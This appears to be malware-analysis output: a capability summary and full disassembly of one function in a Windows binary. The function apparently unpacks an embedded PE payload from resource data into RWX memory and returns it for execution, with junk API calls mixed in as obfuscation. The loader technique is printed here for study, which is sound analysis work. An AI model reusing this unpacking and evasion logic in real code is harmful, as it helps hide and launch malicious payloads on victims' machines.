Function at 0x401d18
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
mov esi, eax
test eax, eax
je 0x40272f
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
test eax, eax
je 0x40272f
mov dword [esp], eax
call dword [0x409470]
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x399
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x18f
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x294
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0xb0
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0xf
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], 0x169
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
test eax, eax
je 0x40272f
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
test eax, eax
je 0x40272f
mov dword [esp], eax
call dword [0x409470]
push edx
mov ebx, dword [eax]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ebp
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xf8
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], esi
mov dword [esp], 0
call dword [0x409474]
sub esp, 8
mov dword [esp + 0x2c], eax
imul eax, ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [esp + 0x24], eax
test ebx, ebx
je 0x40239d
inc ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x30], 1
mov dword [esp + 0x28], 0
nop
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xe4
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 8], 2
movzx eax, word [esp + 0x30]
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
test eax, eax
je 0x40272f
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
test eax, eax
je 0x40272f
mov dword [esp], eax
call dword [0x409470]
push edx
mov esi, eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xe
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov ecx, dword [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [esp + 0x1c], eax
mov edi, eax
mov ecx, dword [esp + 0x2c]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0x351
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push esi
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 4], 0x17
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ebp
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], str._bRF_sY_
mov dword [esp], str.i__y_Zk__________L_y_BaC
call sub.USER32.dll_FindWindowA
sub esp, 8
mov ebx, dword [esp + 0x1c]
movzx eax, byte [ebx + 5]
shl eax, 8
movzx edx, byte [ebx + 6]
shl edx, 0x10
or eax, edx
movzx edx, byte [ebx + 4]
or eax, edx
movzx edx, byte [ebx + 7]
shl edx, 0x18
or eax, edx
mov dword [esp + 0x20], eax
je 0x402367
lea edi, [eax + eax*2]
lea ebp, [edi - 3]
mov dword [esp + 0x34], ebp
mov edx, dword [esp + 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov ebp, 0x28
nop
xor eax, eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x18]
lea esi, [ecx + edx]
mov edx, dword [esp + 0x1c]
lea ebx, [edx + ebp]
mov dword [esp + 0x10], ebp
lea edx, [esi + eax]
lea ecx, [ebx + eax]
mov bp, word [ecx]
mov word [edx], bp
mov cl, byte [ecx + 2]
mov byte [edx + 2], cl
add eax, 3
cmp eax, edi
jne 0x40231c
mov ebp, dword [esp + 0x10]
add dword [esp + 0x18], eax
add ebp, eax
inc dword [esp + 0x14]
mov edx, dword [esp + 0x20]
cmp dword [esp + 0x14], edx
jne 0x402304
mov ebx, dword [esp + 0x28]
mov ecx, dword [esp + 0x34]
lea edx, [ebx + ecx + 3]
mov ecx, dword [esp + 0x14]
dec ecx
imul eax, ecx
add eax, edx
mov dword [esp + 0x28], eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov ecx, dword [esp + 0x1c]
mov dword [esp], ecx
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
sub dword [esp + 0x28], 0x18
inc dword [esp + 0x30]
mov ebx, dword [esp + 0x38]
cmp dword [esp + 0x30], ebx
jne 0x402024
mov edx, dword [esp + 0x3c]
mov dword [esp + 4], edx
mov ecx, dword [esp + 0x24]
mov dword [esp], ecx
call fcn.00401334
mov dword [esp + 4], 0x18e
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x24a
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x3e0
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40272f
mov ebp, dword [esp + 0x24]
cmp word [ebp], 0x5a4d
jne 0x40272f
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1ee
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1d1
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x27f
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x309
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0x248
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov ebx, ebp
add ebx, dword [ebp + 0x3c]
je 0x40272f
cmp dword [ebx], 0x4550
jne 0x40272f
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0x397
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0xa9
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], str.__aj_b_P
mov dword [esp], str.V___YVZ_ISC
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], str.Ky___q_NZA_t_x__JnN___zEQ
mov dword [esp], str._r___vqgH_O___
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0x161
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], str.w___________
mov dword [esp], str.__l__E_l_Ni___nBCR
call sub.USER32.dll_FindWindowA
sub esp, 8
movzx eax, word [ebx + 0x14]
lea eax, [ebx + eax + 0x18]
movzx edx, word [ebx + 6]
lea edx, [edx + edx*4 - 5]
mov ebx, dword [eax + edx*8 + 0x10]
add ebx, dword [eax + edx*8 + 0x14]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov ebp, eax
mov edi, eax
mov esi, dword [esp + 0x24]
mov ecx, ebx
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, ebp
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
xor ebp, ebp
mov eax, ebp
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret